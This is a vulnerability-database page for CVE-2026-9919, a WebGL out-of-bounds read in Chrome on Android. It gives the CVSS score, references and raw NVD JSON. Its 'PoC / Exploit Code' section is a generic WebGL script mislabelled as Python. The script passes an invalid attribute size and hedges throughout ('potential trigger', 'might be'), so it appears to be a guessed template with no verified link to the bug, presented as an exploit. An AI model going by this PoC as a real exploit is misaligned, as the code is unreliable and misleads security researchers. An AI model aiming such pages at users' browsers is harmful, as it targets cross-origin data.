CVE-2026-9919

Description

Out of bounds read in WebGL in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome on Android < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-9919 -->
<!-- This PoC demonstrates a potential trigger for the WebGL OOB read -->
<html>
<head><title>CVE-2026-9919 WebGL OOB PoC</title></head>
<body>
<script>
    // Initialize WebGL context
    const canvas = document.createElement('canvas');
    const gl = canvas.getContext('webgl');

    if (!gl) {
        alert("WebGL is not supported on this browser.");
    } else {
        console.log("WebGL context initialized. Attempting to trigger vulnerability...");

        try {
            // Create a buffer to manipulate memory
            const buffer = gl.createBuffer();
            gl.bindBuffer(gl.ARRAY_BUFFER, buffer);

            // Define data that might be read out of bounds
            // The specific size and data pattern depend on the exact bug in Chrome < 148.0.7778.216
            const data = new Float32Array([1.0, 2.0, 3.0, 4.0]);
            gl.bufferData(gl.ARRAY_BUFFER, data, gl.STATIC_DRAW);

            // Attempt to read past the buffer limits using vertexAttribPointer
            // This function call attempts to access more data than is actually buffered
            // potentially causing an out-of-bounds read.
            gl.vertexAttribPointer(0, 10, gl.FLOAT, false, 0, 0);
            gl.enableVertexAttribArray(0);

            // Draw call to trigger the execution path
            gl.drawArrays(gl.TRIANGLES, 0, 3);

            console.log("Draw call executed. Check browser console for crashes or memory anomalies.");

        } catch (error) {
            console.error("An error occurred during PoC execution:", error);
        }
    }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9919
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9919
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9919/
[4] VulDB https://vuldb.com/cve/CVE-2026-9919
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/500114058

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9919", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:49.990", "lastModified": "2026-05-29T18:17:14.817", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds read in WebGL in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/500114058", "source": "[email protected]"}]}}